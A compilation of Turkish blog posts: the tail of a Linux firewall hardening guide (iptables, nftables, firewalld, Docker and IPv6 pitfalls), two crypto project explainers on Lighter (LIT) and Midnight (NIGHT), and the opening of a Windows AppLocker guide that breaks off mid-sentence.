öncelikli tablo (hook priority ~ -300). Conntrack (bağlantı takibi) öncesinde çalışır. Kullanım: Paketleri conntrack’tan muaf tutmak (NOTRACK), rate limiting, saldırı önleme veya izlenmeyecek paketler için. mangle Paket başlıklarını değiştirmek için (TTL, TOS, MARK, DSCP vb.). Tüm hook’larda mevcut (PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING). nat Adres ve port çevirisi (DNAT, SNAT, MASQUERADE, REDIRECT). Sadece ilk pakette (NEW state) çalışır; conntrack sonrası paketler otomatik uygulanır. PREROUTING (DNAT), POSTROUTING (SNAT/MASQUERADE), OUTPUT (yerel NAT). filter Varsayılan tablo – paket filtreleme (ACCEPT, DROP, REJECT, LOG). Genellikle INPUT, FORWARD, OUTPUT zincirlerinde kullanılır. security (ekstra, SELinux için) secmark ayarlamak için (Mandatory Access Control). INPUT ve OUTPUT’ta filter sonrası çalışır. Sıralama: Bir paket geldiğinde işlem sırası şöyledir: RAW → MANGLE → NAT (PREROUTING) → ROUTING → FILTER (INPUT) 8. ⟳ Loopback (lo) Arayüzü (Localhost) Loopback (lo arayüzü), sunucunun kendi kendine konuşmasıdır (127.0.0.1). Sistem içindeki process’lerin (systemd-resolved, cups, docker, veritabanları, web uygulamaları vb.) kendi aralarında iletişim kurmasını sağlar. Fiziksel ağ donanımına bağlı değildir; tüm trafiği çekirdek içinde döner. Kapatılırsa Sistem servisleri birbirine ulaşamaz, hatalar oluşur, sistem kilitlenebilir. ⚠️ Loopback her zaman açık olmalı, Loopback kuralları her zaman firewall kurallarının EN BAŞINDA olmalıdır! Loopback Önerilen Temel Sıralama ve Kural: 1 2 3 4 5 6 7 8 9 10 11 12 13 # 1. İZİN VER: Sunucunun kendi kendine (lo üzerinden) konuşmasını serbest bırak. # Loopback gelen trafiğine izin ver iptables -A INPUT -i lo -j ACCEPT # Loopback giden trafiğe izin ver iptables -A OUTPUT -o lo -j ACCEPT # 2. ENGELLE (Anti-Spoofing): 'lo' arayüzü DIŞINDAN gelip 127.0.0.0/8 taklidi yapanları yakala ve at. # Gelen trafiği kontrol et iptables -A INPUT ! -i lo -s 127.0.0.0/8 -j DROP # Giden trafiği de kontrol et (kaynak olarak localhost kullanılamaz) iptables -A OUTPUT ! -o lo -s 127.0.0.0/8 -j DROP 1 2 3 # IPv6 Loopback izni ip6tables -A INPUT -i lo -j ACCEPT ip6tables -A OUTPUT -o lo -j ACCEPT 9. 🐳 Docker ve Firewall (Bypass Riski) Docker, ağ trafiğini yönetmek için iptables kurallarını manipüle eder. Trafiği PREROUTING aşamasında yakalayıp doğrudan FORWARD zincirine yönlendirir. ⚠️ Kritik Sorun: Docker, arka planda çalışan root yetkili servisi (dockerd) nedeniyle ağ kurallarına agresif müdahale eder ve trafiği PREROUTING aşamasında yakalayarak FORWARD zincirine atar. Sonuç: INPUT zincirine yazdığınız kurallar ezilir. Güvenlik duvarında kapattığınızı sandığınız bir porta, Docker üzerinden erişilebilir. ✅ Çözüm: DOCKER-USER Zinciri Docker trafiğini filtrelemek için kurallarınızı INPUT değil, DOCKER-USER zincirine yazmalısınız. Bu zincir, Docker kurallarından önce işlenir. 1 2 # ÖRNEK: Tüm Docker konteynerlerine dışarıdan erişimi kapat, sadece yerel ağa (192.168.1.0/24) izin ver. iptables -I DOCKER-USER -i eth0 ! -s 192.168.1.0/24 -j DROP ⚠️ Bypass sorunu mimari gereği genellikle sadece Docker Daemon (rootful) için geçerlidir. Podman, Containerd vb. varsayılan olarak INPUT kurallarına daha sadıktır. 10. 💾 Kalıcılık (Persistence) - Kuralları Tutun Linux çekirdeğinde (Kernel) güvenlik duvarı kuralları RAM (Geçici Bellek) üzerinde çalışır. Bu, performansı maksimize eder ancak büyük bir risk taşır: Sunucu yeniden başlatıldığında (reboot) veya elektrik kesildiğinde tüm kurallar silinir! Emeklerinizin boşa gitmemesi ve sunucunun yeniden başladığında korumasız kalmaması için kuralları diske kaydetmeniz şarttır. Linux dünyasında kullandığınız araca göre kalıcılık davranışı değişir: Araç Kalıcılık Durum Iptables ❌ HAYIR Kurallar her değişiklikten sonra manuel kaydedilmelidir. Genellikle iptables-save > /etc/iptables/rules.v4 komutu veya iptables-persistent paketi kullanılır. Nftables ✅ EVET Modern sistemlerde nftables servisi (/etc/nftables.conf) otomatik yükler. Dosyayı doğru yere koyarsanız kalıcıdır. UFW ✅ EVET Kural eklediğiniz anda sistem arka planda kuralları diske yazar. Reboot sonrası hatırlar. Firewalld ⚠️ KISMEN Kural eklerken --permanent parametresini kullanmazsanız kurallar geçicidir (Runtime). Kalıcı olması için parametre şarttır ve sonrasında firewall-cmd --reload gerekir. 11. 👻 Görünmez Tehlike: IPv6 (Arka Kapı) Günümüzde modern Linux dağıtımları (Debian 13, Alma 10, Ubuntu 22.04+ vb.) varsayılan olarak Dual Stack (Çift Yığın) mimarisiyle gelir. Yani sistemde hem IPv4 hem de IPv6 aktiftir. ⚠️ Risk Nedir? iptables komutları sadece IPv4 trafiğini etkiler. Siz iptables -P INPUT DROP komutuyla ön kapıyı (IPv4) kilitleseniz bile, eğer sunucunun bir IPv6 adresi varsa (ki çoğu sunucuda otomatik atanır), arka kapı (IPv6) sonuna kadar açıktır. Saldırganlar IPv6 üzerinden SSH veya Web servisinize erişebilir. 🛡️ Nasıl Önlem Alınır? Güvenliği tam sağlamak için aynı ciddiyeti IPv6 için de göstermelisiniz. İki yolunuz var: 1. Yöntem: IPv6 Kullanmıyorsanız (En Kesin Çözüm) Kullanmadığınız bir kapıyı kilitlemekle uğraşmayın, direkt duvar örün (protokolü kapatın). /etc/sysctl.d/99-disable-ipv6.conf dosyası oluşturup şu satırları ekleyin: 1 2 3 net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1 # net.ipv6.conf.lo.disable_ipv6 = 1 2. Yöntem: ip6tables komutunu kullanın. IPv6 trafiğini de aynı titizlikle yapılandırmak için ip6tables komutunu kullanın. Kurallar iptables ile aynı syntax’a sahiptir. 12. 🌐 Çoklu Ağ Kartları (Multi-NIC) Eğer sunucunuzda birden fazla ağ kartı varsa (Örn: eth0 WAN, eth1 LAN), Linux bir Router gibi davranabilir. Bu durumda trafiği yönetmek için Hangi karttan girip, hangi karttan çıktığına bakmalısınız. A. Yönlendirmeyi Açmak (IP Forwarding) Linux varsayılan olarak paketleri bir karttan diğerine geçirmez. Bunu çekirdek seviyesinde açmanız gerekir. 1 2 3 4 5 # Geçici olarak açmak için: sysctl -w net.ipv4.ip_forward=1 # Kalıcı yapmak için (/etc/sysctl.conf): net.ipv4.ip_forward = 1 B. Trafik Kontrolü (FORWARD Zinciri) Çoklu kartlarda INPUT (Sunucunun kendisine gelen) değil, FORWARD (Sunucu üzerinden geçen) zinciri kritiktir. Kuralları yazarken Giriş (-i) ve Çıkış (-o) arayüzlerini belirtmelisiniz. Örnek Senaryo: eth0 (WAN/İnternet): Güvensiz bölge. eth1 (LAN/İç Ağ): Güvenli bölge. 1 2 3 4 5 6 7 8 9 10 11 # 1. LAN'dan İnternet'e çıkışa İZİN VER # İçeriden (eth1) gelip, Dışarı (eth0) giden tüm paketleri geçir. iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT # 2. İnternet'ten LAN'a girişi ENGELLE # Dışarıdan gelip içeriye girmek isteyeni engelle. # ANCAK: İçeriden başlatılan bağlantıların cevaplarına izin ver (Stateful) iptables -A FORWARD -i eth0 -o eth1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT # Kural dışı kalan her şeyi DROP et iptables -A FORWARD -i eth0 -o eth1 -j DROP ⚠️ Router Modu: Sunucunun tam bir router gibi çalışması için genellikle NAT (Masquerade) işleminin de yapılması gerekir (Bkz: Bölüm 3-B). ⚠️ rp_filter (Anti-Spoofing): Çoklu kartlarda “IP Spoofing” riskini önlemek için rp_filter (Reverse Path Filter) ayarının açık olduğundan emin olun. 13. 💡 Bağlam Dışına Çık! Cockpit GUI ile Firewald üzerinde (Zone) Firewalld, klasik iptables zincirlerinden farklı olarak Zone (Bölge) tabanlı bir güvenlik modeli kullanır. Bu model, ağ arayüzlerini (eth0, eth1, wlan0 vb.) güvendiğiniz veya güvenmediğiniz bölgelere atamanızı sağlar. Cockpit web arayüzünde veya terminalde bir kural yazarken aslında şu soruyu sorarsınız: “Bu kural hangi güven seviyesindeki (Zone) bağlantılar için geçerli?” 🌍 Zone (Bölge) Tanımları ve Güven Seviyeleri Firewalld kurulduğunda varsayılan olarak public zone aktiftir. Ancak sunucunuzun rolüne göre (Router, Web Server, Ev Bilgisayarı) doğru zone seçimi hayati önem taşır. Zone Güven Seviyesi Açıklama drop ⚫ Sıfır Güven En paranoyak seviyedir. Gelen tüm paketleri sessizce DROP eder. Karşı tarafa hiçbir ICMP cevabı dönmez. Sadece dışarı giden bağlantılara izin verilir. block 🔴 Düşük Gelen bağlantılar reddedilir ancak karşı tarafa icmp-host-prohibited mesajı gönderilir. “Buradayım ama sana kapalıyım” der.       public 🟠 Orta (Varsayılan) Halka açık ağlar içindir. Diğer cihazlara güvenilmez. Sadece açıkça izin verilen portlar (SSH, HTTP vb.) kabul edilir. external 🌐 Router / WAN Router olarak çalışan sunucuların WAN bacağı içindir. Masquerading (NAT) varsayılan olarak açıktır. dmz 🏰 İzole Demilitarized Zone. Halka açık servisler (Web, Mail) buradadır ancak iç ağa erişimleri kısıtlıdır. work 🏢 Ofis / İş Kurumsal ağlar içindir. Ağdaki diğer cihazlara kısmen güvenilir. home 🏠 Ev Ev ağları içindir. TV, telefon, PC gibi cihazlara yüksek güven vardır. internal 🔒 İç Ağ Tamamen güvenilen iç ağ bacağıdır. Dış dünyadan izoledir.       trusted 🟢 Tam Güven Tüm gelen trafik koşulsuz kabul edilir. ⚠️ Çok dikkatli kullanılmalıdır! 🚀 Cockpit Arayüzü ile Zone Yönetimi Terminal komutlarıyla (firewall-cmd) uğraşmak yerine Cockpit Web Konsolu üzerinden bu bölgeleri görsel olarak yönetebilirsiniz: Networking (Ağ) > Firewall menüsüne gidin. Active Zones kısmında hangi arayüzün (örn: eth0) hangi Zone’a bağlı olduğunu görürsünüz. Add Services butonuna tıkladığınızda, kuralı hangi Zone için eklediğinize dikkat edin. 💡 Hangi Zone’dayım? Terminalden hızlıca aktif bölge ve arayüz eşleşmesini görmek için: firewall-cmd --get-active-zones ⚠️ Interface Kuralı: Bir ağ kartı (interface) aynı anda sadece bir zone’a üye olabilir. Ancak bir Zone, birden fazla interface’i kapsayabilir. 14. 🛡️ Saldırı Önleme ve “Hardening” (Sertleştirme) Sadece portları açıp kapatmak yeterli değildir. Gerçek bir güvenlik duvarı, anormal paketleri ve saldırı girişimlerini de filtrelemelidir. Bu bölümde modern Linux çekirdeğinin standardı olan Nftables kullanılacaktır. A. Geçersiz Paketleri Temizle (INVALID) Bağlantı durum tablosunda (conntrack) karşılığı olmayan, bozuk veya yetkisiz paketleri anında (DROP) çöpe atın. 1 2 # 'ct state invalid' yakala ve at nft add rule inet filter input ct state invalid drop B. TCP Bayrak Saldırıları (Scan Protection) Nmap gibi tarayıcıların gönderdiği mantıksız bayrak kombinasyonlarını engelleyin. 1 2 3 4 5 6 # SYN harici bayraklı NEW paketleri at (Protokol uyumluluğu) nft add rule inet filter input tcp flags != syn ct state new drop # XMAS & NULL Packets (Anormal bayrak kombinasyonları) nft add rule inet filter input tcp flags & (fin|syn|rst|psh|ack|urg) == (fin|syn|rst|psh|ack|urg) drop nft add rule inet filter input tcp flags & (fin|syn|rst|psh|ack|urg) == 0 drop C. SYN Flood Koruması (Rate Limiting) Bir saniyede binlerce bağlantı açmaya çalışan saldırganları sınırlayın. 1 2 3 # Saniyede 60 limit koy, aşanı reddet (Burst 20 paket toleransı) nft add rule inet filter input tcp flags syn limit rate 60/second burst 20 packets accept nft add rule inet filter input tcp flags syn drop D. Ping Flood (ICMP) Koruması Ping’i tamamen kapatmak yerine hız sınırı (rate limit) koyun. 1 2 3 4 5 # IPv4 ve IPv6 ping (echo-request) için ortak kural: Saniyede 1 paket nft add rule inet filter input icmp type echo-request limit rate 1/second accept nft add rule inet filter input icmpv6 type echo-request limit rate 1/second accept nft add rule inet filter input icmp type echo-request drop nft add rule inet filter input icmpv6 type echo-request drop E. SSH Brute Force Koruması Dakikada yüzlerce şifre denemesi yapan saldırganları otomatik olarak engelleyin. 1 2 3 4 5 6 # SSH portuna dakikada 10'dan fazla yeni bağlantı açan IP'yi engelle # 'meter' özelliği IP bazlı dinamik izleme yapar (Fail2Ban'a gerek kalmaz) nft add rule inet filter input tcp dport 22 ct state new \ meter ssh-meter { ip saddr limit rate 10/minute } accept nft add rule inet filter input tcp dport 22 ct state new drop 💡 Meter Nedir?: Nftables’ın dinamik IP izleme özelliğidir. Her kaynak IP için ayrı sayaç tutar ve dakikada 10 bağlantıyı geçenleri otomatik bloklar. Fail2Ban gibi harici araca gerek kalmaz. 15. 🧾 Loglama: (Gözler ve Kulaklar) Linux firewall loglama, güvenlik duvarı kurallarının işlediği paketlerin kaydını tutma işlemidir. Amaç, ağ trafiğini izlemek, hatalı kuralları tespit etmek ve güvenlik olaylarını analiz etmektir. ⚠️ Loglama performans etkisi yaratır (özellikle yüksek trafik varsa), bu yüzden genelde sadece kritik paketler (DROP edilenler, NEW bağlantılar, şüpheli IP’ler) için kullanılması önerilir. 1 2 3 4 5 - Ubuntu/Debian: /var/log/syslog - /var/log/kern.log - RHEL/CentOS: /var/log/messages - dmesg | grep "SSH" - conntrack -L | grep SSH - journalctl -k 16. 🕷️ Debug ve Troubleshooting Firewall kuralları bazen beklenmedik şekilde çalışabilir: erişim kaybı, yanlış yönlendirme, performans düşüşü… Bu durumda sistematik bir debug yaklaşımı gerekir. 1 2 3 4 5 tcpdump -i eth0 port 80 conntrack -E journalctl -kf | grep "TRACE" nft monitor trace bpftrace -e 'k:nf_hook_slow{@++;}i:s:1{printf("%d\n",@);clear(@);}' 17. 🚨 Acil Durum: Fabrika Ayarlarına Dönüş Firewall kurallarında hata yaptınız ve sunucuya erişimi kaybettiniz mi? Ya da baştan başlamak mı istiyorsunuz? Bu bölüm hayat kurtarıcınızdır. ⚠️ Kritik Uyarı: Bu işlemler sunucunuzu geçici olarak tamamen korumasız bırakır. Sadece güvenli bir ortamda (yerel ağ, fiziksel erişim) veya mutlaka gerektiğinde uygulayın! ⚠️ Bu işlemler sunucuya erişiminizi kesebilir. Lokal erişim veya KVM konsolu olmadan uzak sunucuda dikkatli kullanın! 1 2 3 4 # Servisleri durdur systemctl stop firewalld systemctl stop ufw systemctl stop nftables 1 2 3 4 # Servisleri Devre Dışı Bırak systemctl disable firewalld systemctl disable ufw systemctl disable nftables 1 2 3 4 5 6 7 8 # Mevcut Kuralları Yedekle (Opsiyonel ama Önerilir) # iptables & ip6tables iptables-save > ~/iptables-backup-$(date +%F).txt 2>/dev/null ip6tables-save > ~/ip6tables-backup-$(date +%F).txt 2>/dev/null # nftables nft list ruleset > ~/nftables-backup-$(date +%F).txt 2>/dev/null cp /etc/nftables.conf /etc/nftables.conf.bak.$(date +%F) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Tüm Kuralları Temizle (Flush & Reset) # iptables iptables -F iptables -X iptables -t nat -F iptables -t mangle -F ip6tables -F ip6tables -X # nftables nft flush ruleset # ufw ufw reset Yazar: github/faruk-guler Saygılarımla – Best regards. --- ## Lighter (LIT) Nedir? ZK-Rollup Tabanlı Kurumsal Düzeyde Perp DEX Link: https://farukguler.com/posts/lighter-lit-nedir/ 2026 yılı itibarıyla kripto para ekosisteminin en çok konuşulan projelerinden biri olan Lighter (LIT), merkezi borsaların (CEX) sunduğu hızı, blockchain teknolojisinin şeffaf ve güvenli yapısıyla birleştiren hibrit bir altyapı sunuyor. 30 Aralık 2025 tarihindeki büyük airdrop ve lansmanının ardından, 2026’nın ilk çeyreğinde DeFi dünyasında “kurumsal düzeyde altyapı” standardını belirleyen projelerden biri haline geldi. 1. Projenin Kimliği: Lighter (LIT) Nedir? Lighter, Ethereum üzerinde çalışan, Uygulamaya Özel ZK-Rollup (App-Specific ZK-Rollup) mimarisine sahip bir merkeziyetsiz vadeli işlem (Perp DEX) ve spot borsasıdır. Temel Farkı: Uniswap gibi havuz bazlı (AMM) modellerin aksine, profesyonel bir Emir Defteri (Order Book) yapısı kullanır. Hız: 5 milisaniyenin altında işlem eşleşmesi sağlayarak Binance gibi dev merkezi borsalarla hız konusunda yarışır. Güvenlik: İşlemler zincir dışında (off-chain) eşleşse bile, doğruluğu zk-SNARKs kanıtları ile Ethereum ana ağında kriptografik olarak onaylanır. 2. Teknik Altyapı: “Lighter Engine” Lighter’ın arkasındaki güç, beş ana bileşenden oluşan özgün bir sistemdir: Sequencer (Sıralayıcı): İşlemleri milisaniyeler içinde eşleştirip sıralayan merkeziyetsiz motor. Prover (Kanıtlayıcı): Gerçekleşen işlemlerin matematiksel olarak doğru olduğunu kanıtlayan ZK kanıtlarını üretir. Indexer (Endeksleyici): Zincir üzerindeki karmaşık verileri kullanıcı arayüzüne anlık ve okunabilir olarak sunar. API Sunucuları: Kurumsal trader’lar ve yüksek frekanslı ticaret (HFT) botları için düşük gecikmeli erişim noktaları sağlar. Akıllı Sözleşmeler: Fonların velayeti (custody) asla borsada değildir; kullanıcı fonları her zaman Ethereum üzerindeki güvenli akıllı sözleşmelerde kilitli tutulur. 3. 2026 Yenilikleri ve Ürün Yelpazesi Lighter, 2026 başı itibarıyla sadece kripto paraların ötesine geçerek finansal kapsamını genişletti: 24/5 Equity Perps (Hisse Senedi Vadeli İşlemleri): Apple, Tesla, Nvidia ve Microsoft gibi devlerin hisse senetleri, tokenlaştırılmış formda 24 saat boyunca (hafta sonları hariç) kaldıraçlı işlem görebilir. LaunchLab: Yeni projeler için bir kuluçka merkezi görevi görür. Buradan çıkan projelerden alınan ücretlerin %25’i doğrudan LIT yakımına gider. Partner Attribution: Mart 2026 itibarıyla harici geliştiriciler, Lighter altyapısını kullanarak kendi arayüzlerini ve komisyon modellerini oluşturmaya başlamıştır. 4. LIT Tokenomics (Token Ekonomisi) LIT, ekosistemin yönetişim, staking ve değer yakalama motorudur. Arz ve Dağılım Verileri (Mart 2026) Maksimum Arz: 1.000.000.000 LIT (1 Milyar). Dolaşımdaki Arz: 250.000.000 LIT (%25). Piyasa Değeri: Yaklaşık 290 - 300 Milyon USD. Dağılım: %26 Ekip (Kilitli), %25 Airdrop (Dolaşımda), %25 Teşvikler, %24 Yatırımcılar (Kilitli). Değer Yakalama Mekanizması Buyback (Geri Alım): Protokol gelirlerinin önemli bir kısmı piyasadan LIT satın almak için kullanılır. Mart 2026 itibarıyla ekip, airdrop sonrası oluşabilecek satış baskısını dengelemek adına aktif bir geri alım programı yürütmektedir. Fee Credits (Ücret Kredileri): Kullanıcılar LIT stake etmek yerine “Ücret Kredisi” satın alabilir; bu satıştan gelen gelirler doğrudan LIT staker’larına dağıtılır. 5. Staking ve LLP (Lighter Liquidity Pool) Mart 2026 itibarıyla en dikkat çekici veri, dolaşımdaki LIT arzının %54’ünden fazlasının LLP havuzunda stake edilmiş olmasıdır. LLP Nedir? Borsanın karşı taraf likiditesini sağlayan devasa bir havuzdur. Ödüller: LLP’ye likidite sağlayanlar, borsa gelirlerinin (trading fees) %60-70’ini doğrudan kazanırlar. Bu yüksek getiri oranı, piyasadaki satış baskısını azaltan en büyük faktör olarak görülmektedir. 6. Kritik Analiz: Potansiyel ve Riskler Fırsatlar: Kurumsal Geçiş: ZK kanıtları sayesinde kurumlar, fonlarını borsaya emanet etmeden profesyonel hızda işlem yapabilme güvenine kavuştu. Deflasyonist Baskı: Geri alımlar ve LaunchLab gelirleri, LIT arzını milyarlarca dolarlık hacim üzerinden temizlemektedir. Riskler: Airdrop Sonrası Likidite Testi: Aralık 2025’teki airdrop’un ardından yaşanan 250 milyon dolarlık likidite çıkışı, projenin “kalıcı kullanıcı” bulma konusundaki sınavının devam ettiğini gösteriyor. Regülasyon: Hisse senedi türevleri (Equity Perps) sunması, projeyi SEC gibi küresel regülatörlerin radarında tutmaya devam edecektir. Kilit Açılışları (Vesting): Aralık 2026’da başlayacak olan ekip ve yatırımcı kilit açılışları, fiyat üzerinde spekülatif bir baskı oluşturabilir. Sonuç Lighter (LIT), 2026 yılında basit bir airdrop projesi olmaktan çıkıp, rüştünü ispatlamış bir finansal altyapı projesine dönüşmektedir. Yüksek staking oranı ve aktif geri alım mekanizması, token’ı ekonomik olarak diri tutmaktadır. Ancak uzun vadeli başarısı, kurumsal ilginin sürekliliğine ve regülatif engelleri nasıl aşacağına bağlı olacaktır. --- ## Midnight Coin (NIGHT) Nedir? Rasyonel Gizlilik ve Kurumsal Veri Kalkanı Link: https://farukguler.com/posts/midnight-coin-night-nedir/ 2026 yılı itibarıyla kripto dünyasının en çok beklenen ve teknik açıdan en sofistike projelerinden biri olan Midnight, sonunda ana ağ (mainnet) aşamasına geçerek rüştünü ispatladı. Cardano ekosisteminin kurucusu Charles Hoskinson ve Input Output Global (IOG) tarafından hayata geçirilen bu proje, sıradan bir “gizlilik coini” olmanın ötesinde, kurumsal ve bireysel veri korumasını yasal uyumlulukla birleştiren bir altyapı sunuyor. 1. Projenin Kimliği: “Rational Privacy” (Rasyonel Gizlilik) Nedir? Midnight, kendisini dördüncü nesil bir blokzincir olarak tanımlıyor. Diğer gizlilik odaklı projelerin aksine, “her şeyi gizle” veya “her şeyi göster” ikilemini ortadan kaldırarak “Rasyonel Gizlilik” modelini getirdi. Hibrit Mimari: Ağ, hem halka açık (public) hem de gizli (private) durumları aynı anda yönetebilen çift katmanlı bir yapıya sahiptir. Seçici İfşa (Selective Disclosure): Kullanıcılar veya kurumlar, verilerini tamamen gizli tutarken, gerektiğinde (örneğin bir denetim veya yasal süreçte) sadece ilgili kısmın doğruluğunu kriptografik olarak kanıtlayabilirler. Compact Dili: Geliştiriciler, TypeScript tabanlı Compact dili sayesinde karmaşık ZK (Zero-Knowledge) kriptografisi bilmelerine gerek kalmadan gizlilik odaklı uygulamalar geliştirebiliyor. 2. Token Ekonomisi: NIGHT ve DUST İkilisi Midnight, ağın ekonomik sürdürülebilirliğini sağlamak için benzersiz bir çift varlık modeli kullanır. NIGHT Token (Yönetişim ve Güvenlik) Maksimum Arz: 24.000.000.000 (24 Milyar) NIGHT. Dolaşımdaki Arz: ~16.6 Milyar NIGHT (%69). Piyasa Değeri: Nisan 2026 başı itibarıyla yaklaşık 820 Milyon USD. Kullanım Alanı: Ağın Proof-of-Stake (PoS) güvenliğini sağlamak (Staking) ve yönetişim kararlarında söz sahibi olmak için kullanılır. DUST (Ağ Yakıtı) Mekanizma: NIGHT sahipleri, token’larını cüzdanlarında tuttukça veya stake ettikçe otomatik olarak DUST üretirler. İşlem Ücretleri: Ağdaki tüm transfer ve akıllı sözleşme ücretleri DUST ile ödenir. Değer Koruması: DUST transfer edilemez ve zamanla bozulan (decay) bir yapıdadır. Bu sistem, ağın işlem maliyetlerini NIGHT token’ın fiyat dalgalanmalarından koruyarak kurumsal kullanıcılar için öngörülebilir bir maliyet modeli sunar. 3. Dağılım ve Likidite: Glacier Drop ve Scavenger Mine Midnight, geleneksel VC (Risk Sermayesi) satışlarından kaçınarak topluluk odaklı bir dağıtım yolunu seçti: Glacier Drop: Cardano (ADA) sahiplerine ve ekosisteme katkıda bulunanlara yönelik devasa bir airdrop süreciyle dağıtıldı. Bu token’ların bir kısmı 2026 sonuna kadar periyodik olarak çözülmeye (thawing) devam ediyor. Scavenger Mine: 2025 sonunda başlatılan ve tarayıcı üzerinden madencilik yapılabilen bu faz, token’ın geniş bir kitleye (8 milyondan fazla adres) yayılmasını sağladı. Borsa Listelemeleri: 31 Mart 2026 tarihinde Binance, NIGHT/U (United Stables) ve NIGHT/USDT paritelerini açarak projenin likiditesini küresel ölçeğe taşıdı. 4. 2026 Yol Haritası: Fazlar ve Kurumsal Güç Midnight şu anda “Kūkolu” (Büyüyen Hilal) evresini tamamlayıp ana ağın canlıya geçişini kutluyor. 2026’nın geri kalanı için beklentiler oldukça yüksek: Mōhalu Fazı (2026 Q2): Ağın merkeziyetsizleşme sürecinin hızlandığı, düğüm (node) operatörlerinin sayısının artırıldığı dönem. Hua Fazı (2026 Q3): Hibrit dApp’lerin (hem özel hem kamuya açık işlem yapabilen uygulamalar) kitlesel lansmanları bekleniyor. Kurumsal Entegrasyon: Google Cloud ile yapılan validator ortaklığı, Midnight’ın kurumsal finans ve kimlik yönetimi alanında ciddi bir oyuncu olacağının sinyallerini veriyor. 5. Stratejik Analiz: Potansiyel ve Riskler Midnight’ın önünde matematiksel bir zarafet olsa da, pazarın sert rüzgarları hala hissediliyor: Fırsatlar: Yasal Uyumluluk: “Seçici ifşa” özelliği, bankaların ve sağlık kuruluşlarının blockchain kullanırken yasalarla ters düşmemesini sağlar. Compact Avantajı: Geliştiriciler için öğrenme eğrisinin düşük olması, ekosistemin hızla büyümesini sağlayabilir. Riskler: Unlocking Baskısı: Glacier Drop kapsamında dağıtılan ve kilitli olan milyarlarca token’ın 2026 Aralık ayına kadar her çeyrekte açılması, fiyat üzerinde düzenli bir satış baskısı oluşturabilir. Regülasyon Belirsizliği: “Rasyonel Gizlilik” modeli uyum için tasarlanmış olsa da, küresel regülatörlerin gizlilik teknolojilerine karşı tutumu hala değişkenlik göstermektedir. Benimsenme Zorluğu: Ethereum L2 ekosistemindeki devasa likiditeyi Midnight’ın yeni “Compact” dünyasına çekmek zaman alacaktır. Sonsöz Midnight (NIGHT), blockchain dünyasının en büyük yaralarından biri olan “şeffaflık vs. gizlilik” paradoksunu matematiksel bir zarafetle çözmeye aday görünüyor. 24 milyarlık devasa ama sabit arzı, kurumsal odaklı DUST yakıt modeli ve Binance gibi devlerin desteğiyle, 2026 yılının en dikkat çeken altyapı projelerinden biri haline geldi. Başarısı, sadece gizliliği sağlamasına değil; bankaların, sağlık kuruluşlarının ve hükümetlerin bu “denetlenebilir gizlilik” modeline ne kadar güveneceğiyle belirlenecektir. --- ## Windows AppLocker'i inceliyorum. Link: https://farukguler.com/posts/applocker-g%C3%BCvenlik-rehberi/ Windows AppLocker, Microsoft’un gelişmiş bir uygulama beyaz liste (whitelist) çözümüdür. Temel amacı, bir kuruluş içindeki bilgisayarlarda yalnızca yetkili ve onaylanmış yazılımların çalışmasına izin vermek; yetkisiz yazılımları, betikleri, yükleyicileri ve DLL’leri proaktif olarak engellemektir. Bu sistem, güvenlik politikalarınızı Grup İlkesi (GPO) üzerinden merkezi olarak yönetmenize olanak tanır ve modern siber güvenlik tehditlerine karşı katmanlı bir savunma hattı oluşturur. Temel Prensip: AppLocker, “Sadece izin verilenler çalışır” (whitelist) prensibiyle çalışır. Geleneksel Yazılım Kısıtlama Politikaları (Software Restriction Policies - SRP) ile karşılaştırıldığında AppLocker, çok daha esnek, yönetilebilir ve güçlü bir yapı sunar. Windows 7 ve sonrasındaki sistemler için SRP yerine AppLocker’ın kullanılması tavsiye edilmektedir. Çalışma Mimarisi ve Kurallar AppLocker’ın çalışma mantığı, hangi dosyaların çalıştırılıp çalıştırılamayacağını tanımlayan kurallara dayanır. Bu kurallar beş ana dosya kategorisi için ayrı ayrı yapılandırılabilir: Yürütülebilir Dosyalar (.exe, .com, .vb): Uygulamaların, programların ve bazı betiklerin çalışmasını kontrol eder. Betik Dosyaları (.ps1, .vbs, .js, .cmd, .bat, .vb): PowerShell, VBScript, JavaScript ve komut istemi betiklerinin çalışmasını yönetir. Windows Installer Dosyaları (.msi, .msp, .vb): Yazılım kurulumlarını, güncellemelerini ve yamalarını kontrol eder. Uygulama Paketi Dosyaları (.appx, .vb): Windows 8 ve sonrası modern (Universal Windows Platform - UWP) uygulamaların çalışmasını yönetir. DLL Dosyaları (.dll, .ocx, .vb): Uygulamaların ihtiyaç duyduğu dinamik bağlantı kütüphanelerinin (Dynamic Link Libraries) yüklenmesini kontrol eder. Not:** DLL kuralları, diğerlerine göre daha karmaşıktır ve sistem üzerinde ciddi bir performans etkisi yaratabilir. Genellikle varsayılan olarak devre dışıdır ve sadece çok yüksek güvenlik gerektiren senaryolarda dikkatlice yapılandırılmalıdır. Kural Türleri (Rule Types) AppLocker, dosyaları tanımlamak için üç farklı kural koşulu sunar: Yayıncı (Publisher): En esnek ve en çok tavsiye edilen yöntemdir. Kural, dosyanın dijital imzasına (yayıncı adı, ürün adı, dosya adı, sürüm) dayanır. Bu sayede, uygulama güncellense bile (sürümü değişse bile) kural geçerliliğini korur. Yol (Path): Dosyanın bulunduğu konuma (örneğin, C:\Program Files\) göre izin veya engel belirler. Yönetimi kolaydır ancak dosya konumu değişirse veya kullanıcı dosyayı başka bir yere kopyalarsa kural etkisiz kalabilir. Hash (Karma): Dosyanın benzersiz kriptografik parmak izine (hash) göre kural oluşturur. Çok güvenlidir ancak dosyanın en ufak bir güncelleme alması (hash değerinin değişmesi) kuralın bozulmasına ve manuel güncelleme gerektirmesine neden olur. Yapılandırma ve Gereksinimler AppLocker politikalarını merkezi olarak dağıtmak için Grup İlkesi Yönetimi (GPO) kullanılır. İki temel yapılandırma noktası vardır: AppLocker Politikaları: Computer Configuration → Policies → Windows Settings → Security Settings → Application Control Policies → AppLocker Gerekli Hizmet (Application Identity): Computer Configuration → Policies → Windows Settings → Security Settings → System Services → Application Identity (Başlangıç Türü: Otomatik) AppLocker kurallarının uygulanabilmesi için Application Identity (AppIDSvc) servisinin çalışıyor olması zorunludur. Bu hizmetin GPO üzerinden otomatik olarak başlatılması sağlanmalıdır: Uygulama Modları (Enforcement Modes) AppLocker kuralları, her dosya kategorisi için iki farklı modda çalıştırılabilir: -1 Denetim Modu (Audit Only): Bu modda, kurallara uymayan uygulamalar engellenmez. Bunun yerine, tüm kural eşleşmeleri 